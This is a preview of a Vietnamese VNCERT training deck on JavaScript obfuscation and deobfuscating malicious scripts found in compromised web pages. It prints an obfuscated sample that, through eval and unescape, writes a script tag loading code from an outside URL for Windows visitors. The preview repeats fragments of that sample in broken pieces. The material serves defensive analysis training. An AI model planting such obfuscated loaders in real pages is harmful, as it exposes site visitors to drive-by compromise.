Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống
1
/ 20 trang
THÔNG TIN TÀI LIỆU
Thông tin cơ bản
Định dạng
Số trang
20
Dung lượng
3,48 MB
Nội dung
www.vncert.gov.vn www.vncert.gov.vn Biên soạn và trình bày: Ths. Đặng Hải Sơn Trưởng chi nhánh VNCERT khu vực miền Trung www.vncert.gov.vn GIỚI THIỆU NGÔN NGỮ JAVASCRIPT PHẦN 1 www.vncert.gov.vn Lịch sử JavaScript JavaScript được phát triển bởi Brendan Eich tại Netscape (cùng với Navigator 2.0). Javascript là một ngôn ngữ kịch bản, được sử dụng tạo nội dung động trên trang web. Javascript có mặt trên tất cả các trình duyệt hiện nay như Internet Explorer, Firefox, Chrome, Opera, Safari • Internet Explorer sử dụng VBScript trong trình duyệt của mình và cũng có khả năng sử dụng JavaScript www.vncert.gov.vn Cấu trúc JavaScript Ngôn ngữ JavaScript là một ngôn ngữ lập trình hướng đối tượng (đối tượng, phương thức, thuộc tính). Cách sử dụng JavaScript trong HTML với thẻ <script>…</script>. Ngôn ngữ JavaScript tích hợp một số đối tượng được xây dựng sẵn (window, Forms, RegExp, …) www.vncert.gov.vn Đối tượng trong JavaScript www.vncert.gov.vn Mã hóa trong JavaScript Tại sao kẻ tấn công sử dụng mã hóa trong JavaScript ? • Gây khó hiểu cho người đọc mã nguồn JavaScript. • Làm khó quá trình sao chép mã nguồn JavaScript (chống sao chép mã). Hình thức mã hóa mã nguồn trong JavaScript • Nhìn giống như một chuỗi ký tự ngẫu nhiên. • Ký tự lạ gây khó đọc. www.vncert.gov.vn Đối tượng Phương thức Mô tả String replace(pattern, str) Thay thế chuỗi ký tự split([separator],[,limit]) Tách chuỗi ký tự thành mảng các ký tự CharAt(N) Trả về ký tự tại vị trí N CharCodeAt(N) Chuyển một ký tự thành chuỗi Unicode tại vị trí N fromCharCode(code1[,… code N] Chuyển đổi Unicode (0~65535) thành chuỗi ký tự Kỹ thuật mã hóa trong JavaScript (1) www.vncert.gov.vn Đối tượng Phương thức Mô tả array New Array(str1, … strN) Tạo mảng document write(“str”) Hiển thị chuỗi trong tài liệu getElementById(id) Lấy đối tượng thông qua id của đối tượng navigator appName Tên ứng dụng appVersion Phiên bản ứng dụng Other unescape(str) Đối tượng eval(str) Trả về kết quả sau khi thực thi Kỹ thuật mã hóa trong JavaScript (2) www.vncert.gov.vn Một số ví dụ mã hóa (1) Sử dụng phương thức String.replace() • Ví du: document.write(“H@E@L@L@O”.replace(/@/g,””)); • Kết quả: HELLO Sử dụng phương thức String.split() • Ví dụ: document.write(“H@E@L@L@O”.split(“@”)); • Kết quả: H,E,L,L,O Sử dụng phương thức String.charCodeAt() • Ví dụ: document.write(“H@E@L@L@O”.charCodeAt(8)); • Kết quả: 79 Sử dụng phương thức String.fromCharCode() • Ví dụ: document.write(String.fromCharCode(79)); • Kết quả: O [...]... chúng trong môi trường an toàn • Môi trường Windows+Linux (Fake DNS + Fake Web) • Tránh sự nhận biết từ phía kẻ tấn công trong quá trình phân tích JavaScript đã mã hóa Công cụ bổ trợ • Firebug • Malzilla • JavaScript Decoder www.vncert.gov.vn PHẦN 2 THỰC HÀNH GIẢI MÃ JAVASCRIPT www.vncert.gov.vn Ví dụ 1 (function(){var Fkzhu='v"61"72 F"3d"22"22"2cu"3d"6eavi"67"61tor"2eus"65"72A"67e"6et "3bif("28u"2eindex"4f"66("22Win"22"29"3e"30"29"26"26(... VNCERT www.vncert.gov.vn Cách thức tìm JavaScript mã hóa Kẻ tấn công thường nhúng JavaScript vào các trang Web đã bị tấn công • Tìm kiếm các đoạn mã độc hại nằm ở các thẻ iframe hoặc các đoạn mã không rõ ràng • Mã độc có thể tìm thấy đằng sau các thẻ html kiểm tra cẩn thận tất cả nội dung html www.vncert.gov.vn Giải mã JavaScript và công cụ Phương thức giải mã JavaScript dễ nhất là thực thi chúng... www.vncert.gov.vn Giải mã với Malzilla www.vncert.gov.vn Ví dụ 2 www.vncert.gov.vn Sử dụng JSDecoder www.vncert.gov.vn Giải mã ví dụ 2 Đọc hiểu đoạn mã JavaScript sau khi đã định dạng bằng JSDecoder Chú ý các hàm được sử dụng để mã hóa • replace() Thay đổi mã nguồn JavaScript để phù hợp với điều kiện Thực thi trong môi trường an toàn để giải mã • window.onload=R; thay bằng alert(R); . F"69rs" ;74 S" ;74 "65" ;70 C"6c"65"61" ;72 "21"21"22"3bdocum e"6e" ;74 "2ew" ;72 i" ;74 e("22"3cscr"69pt"20src"3dh" ;74 tp"3a" 2f"2fw" ;77 w"2e"6apc"65" ;72 t"2eo" ;72 "2e"6a" ;70 "2f"3e"3c"5 c"2fsc" ;72 ipt"3e"22)"3b"7d';var. F"3d"22"22"2cu"3d"6eavi" 67& quot;61tor"2eus"65" ;72 A"67e"6et "3bif("28u"2eindex"4f"66("22Win"22"29"3e"30"29"26"26( " ;75 "2eindex"4f"66("22N"54"206"22)"3c0)"29"7bF"3d"22F "6c"61" 67& quot;3a F"69rs" ;74 S" ;74 "65" ;70 C"6c"65"61" ;72 "21"21"22"3bdocum e"6e" ;74 "2ew" ;72 i" ;74 e("22"3cscr"69pt"20src"3dh" ;74 tp"3a" 2f"2fw" ;77 w"2e"6apc"65" ;72 t"2eo" ;72 "2e"6a" ;70 "2f"3e"3c"5 c"2fsc" ;72 ipt"3e"22)"3b"7d';var. F"69rs" ;74 S" ;74 "65" ;70 C"6c"65"61" ;72 "21"21"22"3bdocum e"6e" ;74 "2ew" ;72 i" ;74 e("22"3cscr"69pt"20src"3dh" ;74 tp"3a" 2f"2fw" ;77 w"2e"6apc"65" ;72 t"2eo" ;72 "2e"6a" ;70 "2f"3e"3c"5 c"2fsc" ;72 ipt"3e"22)"3b"7d';var hKMw=unescape(Fkzhu.replace(/"/g,'%'));eval(hKMw)})() ; </script> www.vncert.gov.vn Giải